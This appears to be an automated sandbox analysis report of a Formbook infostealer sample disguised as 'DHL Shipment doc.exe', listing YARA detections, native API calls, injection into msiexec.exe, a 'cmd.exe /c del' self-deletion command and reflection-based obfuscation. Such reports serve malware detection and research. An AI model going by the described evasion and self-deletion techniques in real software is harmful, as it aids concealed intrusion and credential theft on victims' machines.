Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.941125718.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.804375407.00000000016D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.689082555.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.720424753.0000000006C0D000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.940941423.0000000004B30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.797281686.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.688266335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.799667944.0000000001360000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.938025961.0000000000E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_0190719C	0_2_0190719C
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_0190CE54	0_2_0190CE54
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_0190F456	0_2_0190F456
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_0190F458	0_2_0190F458
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00401030	3_2_00401030
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00408C8B	3_2_00408C8B
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00408C90	3_2_00408C90
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00402D87	3_2_00402D87
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00402D90	3_2_00402D90
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00402FB0	3_2_00402FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCD466	11_2_04DCD466
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1841F	11_2_04D1841F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD25DD	11_2_04DD25DD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1D5E0	11_2_04D1D5E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32581	11_2_04D32581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD1D55	11_2_04DD1D55
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD2D07	11_2_04DD2D07
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D00D20	11_2_04D00D20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD2EF7	11_2_04DD2EF7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCD616	11_2_04DCD616
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D26E30	11_2_04D26E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DDDFCE	11_2_04DDDFCE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD1FF1	11_2_04DD1FF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD28EC	11_2_04DD28EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1B090	11_2_04D1B090
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D320A0	11_2_04D320A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD20A8	11_2_04DD20A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1002	11_2_04DC1002
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DDE824	11_2_04DDE824
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0F900	11_2_04D0F900
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D24120	11_2_04D24120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD22AE	11_2_04DD22AE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC03DA	11_2_04DC03DA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCDBD2	11_2_04DCDBD2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3EBB0	11_2_04D3EBB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD2B28	11_2_04DD2B28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E98C8B	11_2_00E98C8B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E98C90	11_2_00E98C90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E92D87	11_2_00E92D87
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E92D90	11_2_00E92D90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E92FB0	11_2_00E92FB0

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: String function: 04D0B150 appears 35 times

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_004185F0 NtCreateFile,	3_2_004185F0
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_004186A0 NtReadFile,	3_2_004186A0
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00418720 NtClose,	3_2_00418720
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_004187D0 NtAllocateVirtualMemory,	3_2_004187D0
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_004185EA NtCreateFile,	3_2_004185EA
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00418642 NtReadFile,	3_2_00418642
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0041869A NtReadFile,	3_2_0041869A
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_004187CB NtAllocateVirtualMemory,	3_2_004187CB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D495D0 NtClose,LdrInitializeThunk,	11_2_04D495D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49540 NtReadFile,LdrInitializeThunk,	11_2_04D49540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D496D0 NtCreateKey,LdrInitializeThunk,	11_2_04D496D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D496E0 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_04D496E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49FE0 NtCreateMutant,LdrInitializeThunk,	11_2_04D49FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49780 NtMapViewOfSection,LdrInitializeThunk,	11_2_04D49780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49710 NtQueryInformationToken,LdrInitializeThunk,	11_2_04D49710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49840 NtDelayExecution,LdrInitializeThunk,	11_2_04D49840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49860 NtQuerySystemInformation,LdrInitializeThunk,	11_2_04D49860
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D499A0 NtCreateSection,LdrInitializeThunk,	11_2_04D499A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49910 NtAdjustPrivilegesToken,LdrInitializeThunk,	11_2_04D49910
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49A50 NtCreateFile,LdrInitializeThunk,	11_2_04D49A50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D495F0 NtQueryInformationFile,	11_2_04D495F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49560 NtWriteFile,	11_2_04D49560
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4AD30 NtSetContextThread,	11_2_04D4AD30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49520 NtWaitForSingleObject,	11_2_04D49520
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49650 NtQueryValueKey,	11_2_04D49650
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49670 NtQueryInformationProcess,	11_2_04D49670
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49660 NtAllocateVirtualMemory,	11_2_04D49660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49610 NtEnumerateValueKey,	11_2_04D49610
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D497A0 NtUnmapViewOfSection,	11_2_04D497A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4A770 NtOpenThread,	11_2_04D4A770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49770 NtSetInformationFile,	11_2_04D49770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49760 NtOpenProcess,	11_2_04D49760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4A710 NtOpenProcessToken,	11_2_04D4A710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49730 NtQueryVirtualMemory,	11_2_04D49730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D498F0 NtReadVirtualMemory,	11_2_04D498F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D498A0 NtWriteVirtualMemory,	11_2_04D498A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4B040 NtSuspendThread,	11_2_04D4B040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49820 NtEnumerateKey,	11_2_04D49820
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D499D0 NtCreateProcessEx,	11_2_04D499D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49950 NtQueueApcThread,	11_2_04D49950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49A80 NtOpenDirectoryObject,	11_2_04D49A80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49A10 NtQuerySection,	11_2_04D49A10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49A00 NtProtectVirtualMemory,	11_2_04D49A00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49A20 NtResumeThread,	11_2_04D49A20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D4A3B0 NtGetContextThread,	11_2_04D4A3B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D49B00 NtSetValueKey,	11_2_04D49B00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA85F0 NtCreateFile,	11_2_00EA85F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA86A0 NtReadFile,	11_2_00EA86A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA8720 NtClose,	11_2_00EA8720
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA85EA NtCreateFile,	11_2_00EA85EA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA869A NtReadFile,	11_2_00EA869A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA8642 NtReadFile,	11_2_00EA8642

Source: DHL Shipment doc.exe, 00000000.00000002.692381067.0000000000F68000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStaticArrayInitTypeSize40.exe6 vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.692850983.0000000003442000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.695973964.0000000006520000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameUI.dllF vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.693081041.0000000004419000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUI.dllF vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.692578717.0000000001570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000000.00000002.694907336.0000000005890000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSafeSerializationManager.dll: vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000001.00000002.685838635.0000000000478000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStaticArrayInitTypeSize40.exe6 vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000003.00000002.804951259.00000000033BF000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamemsiexec.exeX vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000003.00000000.687871473.00000000009B8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStaticArrayInitTypeSize40.exe6 vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000003.00000002.804229459.000000000164F000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000003.00000002.801396989.00000000014BF000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe, 00000003.00000003.788765239.00000000033B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAUTOCONV.EXEj% vs DHL Shipment doc.exe
Source: DHL Shipment doc.exe	Binary or memory string: OriginalFilenameStaticArrayInitTypeSize40.exe6 vs DHL Shipment doc.exe

Source: C:\Windows\SysWOW64\msiexec.exe

Section loaded: sfc.dll

Source: DHL Shipment doc.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: DHL Shipment doc.exe

ReversingLabs: Detection: 34%

Source: DHL Shipment doc.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe "C:\Users\user\Desktop\DHL Shipment doc.exe"
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\DHL Shipment doc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Users\user\Desktop\DHL Shipment doc.exe C:\Users\user\Desktop\DHL Shipment doc.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\autoconv.exe C:\Windows\SysWOW64\autoconv.exe	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\DHL Shipment doc.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL Shipment doc.exe.log

Source: classification engine

Classification label: mal100.troj.evad.winEXE@12/1@7/4

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2340:120:WilError_01

Source: DHL Shipment doc.exe, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DHL Shipment doc.exe, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.1.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.1.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.0.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.3.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.DHL Shipment doc.exe.3f0000.3.unpack, mF/e4.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: DHL Shipment doc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL Shipment doc.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: DHL Shipment doc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: StaticArrayInitTypeSize40.pdbxD source: DHL Shipment doc.exe
Source:	Binary string: msiexec.pdb source: DHL Shipment doc.exe, 00000003.00000002.804927293.00000000033B0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: StaticArrayInitTypeSize40.pdb source: DHL Shipment doc.exe
Source:	Binary string: msiexec.pdbGCTL source: DHL Shipment doc.exe, 00000003.00000002.804927293.00000000033B0000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: DHL Shipment doc.exe, 00000003.00000002.801396989.00000000014BF000.00000040.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000003.00000002.799983136.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941198488.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941394667.0000000004DFF000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DHL Shipment doc.exe, 00000003.00000002.801396989.00000000014BF000.00000040.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000003.00000002.799983136.00000000013A0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 0000000B.00000002.941198488.0000000004CE0000.00000040.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000B.00000002.941394667.0000000004DFF000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: autoconv.pdb source: DHL Shipment doc.exe, 00000003.00000003.788765239.00000000033B0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: autoconv.pdbGCTL source: DHL Shipment doc.exe, 00000003.00000003.788765239.00000000033B0000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Source: DHL Shipment doc.exe, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.0.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.2.DHL Shipment doc.exe.ee0000.0.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 1.0.DHL Shipment doc.exe.3f0000.1.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 1.0.DHL Shipment doc.exe.3f0000.0.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 1.0.DHL Shipment doc.exe.3f0000.3.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 1.0.DHL Shipment doc.exe.3f0000.2.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 1.2.DHL Shipment doc.exe.3f0000.0.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.DHL Shipment doc.exe.930000.3.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.DHL Shipment doc.exe.930000.5.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.DHL Shipment doc.exe.930000.9.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.2.DHL Shipment doc.exe.930000.1.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 3.0.DHL Shipment doc.exe.930000.0.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
